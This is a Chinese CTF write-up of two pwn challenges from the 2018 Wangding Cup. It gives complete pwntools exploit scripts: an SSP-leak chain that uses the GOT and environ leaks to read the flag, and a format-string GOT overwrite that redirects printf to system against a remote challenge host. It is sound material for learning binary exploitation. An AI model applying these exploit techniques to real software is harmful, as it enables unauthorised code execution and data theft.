网鼎杯部分PWN-Writeup

Author Avatar
iosmosis 8月 22, 2018
  • 在其它设备中阅读本文章

第一场

GUESS

SSP leak flag

这次学到了一个知识点 environ存在栈地址

三次leak得到flag

先根据got去libc database,然后确认libc,然后去泄露libc.symbols[“environ”],这个里边存的是栈地址。

第一次 leak puts函数地址

puts_got = elf.got['puts']
payload = p64(puts_got)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")
puts = p.recvline()[33:33+6].ljust(8,"\x00")
puts = u64(puts_real)
print hex(puts)

通过 puts_addr 查找libc版本

2

第二次 leak environ

environ = puts-libc.symbols['puts']+libc.symbols['environ']
payload = p64(environ)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")
flag_addr = p.recvline()[33:33+6].ljust(8,"\x00")
flag_addr = u64(flag_addr) - 0x168
print hex(flag_addr)

第三次 leak flag

payload = p64(flag_addr)*300
p.sendline(payload)
print p.recvall(timeout=1)

EXP

from pwn import *
context.log_level = 'debug'
p = process('./GUESS')
elf = ELF('GUESS')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

puts_got = elf.got['puts']

payload = p64(puts_got)*300
p.sendline(payload)
log.info(p.recvuntil('You should take more effort to get six sence, and one more challenge!!\n'))

puts =  u64(p.recvline()[33:33+6].ljust(8,"\x00"))
print hex(puts)

environ = puts-libc.symbols['puts']+libc.symbols["environ"]
print hex(environ)
payload = p64(environ)*300
p.sendline(payload)
p.recvuntil("You should take more effort to get six sence, and one more challenge!!\n")

flag_addr = p.recvline()[33:33+6].ljust(8,"\x00")
flag_addr = u64(flag_addr) - 0x168
print hex(flag_addr)
payload = p64(flag_addr)*300
p.sendline(payload)
print p.recvall(timeout=1)

得到flag

3

第二场

easyFMT

检查保护

ios@ubuntu:~$ checksec fmt
[*] '/home/ios/fmt'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ios@ubuntu:~$

NX开启

载入ida分析

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf; // [esp+8h] [ebp-70h]
  unsigned int v4; // [esp+6Ch] [ebp-Ch]

  v4 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  puts("Do you know repeater?");
  while ( 1 )
  {
    read(0, &buf, 0x64u);
    printf(&buf); //漏洞存在点
    putchar(10);
  }
}

很显然的字符串格式化漏洞利用

先来进行测试偏移

ios@ubuntu:~$ ./fmt 
Do you know repeater?
AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
AAAA.0xffab5268.0x64.0xf7dc88fb.0xffab528e.0xffab538c.0x41414141.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x252e7025
�a��

看到距离AAAA 6个偏移处得到地址0x41414141

利用偏移地址打印,打印出got表 从而获得libc版本 进而获得system地址

leak puts_addr

p = process('./fmt')
elf = ELF('fmt')
puts_got = elf.got['puts']
print hex(puts_got)
payload = p32(puts_got)+'#'+'%6$s'+'#'
print p.recv()
p.sendline(payload)
p.recvuntil('#')
puts = u32(p.recvuntil('#')[:4])
print hex(puts)

获取libc版本

1

计算获得system_addr

system_addr= puts-libc.symbols['puts']+libc.symbols['system']

EXP编写思路

  • 确定格式化字符串参数偏移

  • 利用put@got获取put函数地址,进而获取对应的libc.so的版本,进而获取对应system函数地址。

  • 修改printf@got的内容为system的地址。

  • 当程序再次执行printf函数的时候,其实执行的是system函数。

利用pwntools自带工具修改

payload1 = fmtstr_payload(6, {printf_got: system_addr})

EXP

from pwn import *
#context.log_level='debug'
#p = process('./fmt')
p = remote('106.75.126.184',58579)
elf = ELF('fmt')
libc = ELF('/lib32/libc.so.6')
puts_got = elf.got['puts']
printf_got = elf.got['printf']
print hex(puts_got)
payload = p32(puts_got)+'#'+'%6$s'+'#'
print p.recv()
p.sendline(payload)
p.recvuntil('#')


puts = u32(p.recvuntil('#')[:4])
print hex(puts)
system_addr= puts-libc.symbols['puts']+libc.symbols['system']

payload1 = fmtstr_payload(6, {printf_got: system_addr})
p.sendline(payload1)

print p.recv()
p.interactive()

fgo

pwnable.tw 原题

过几天认真做做==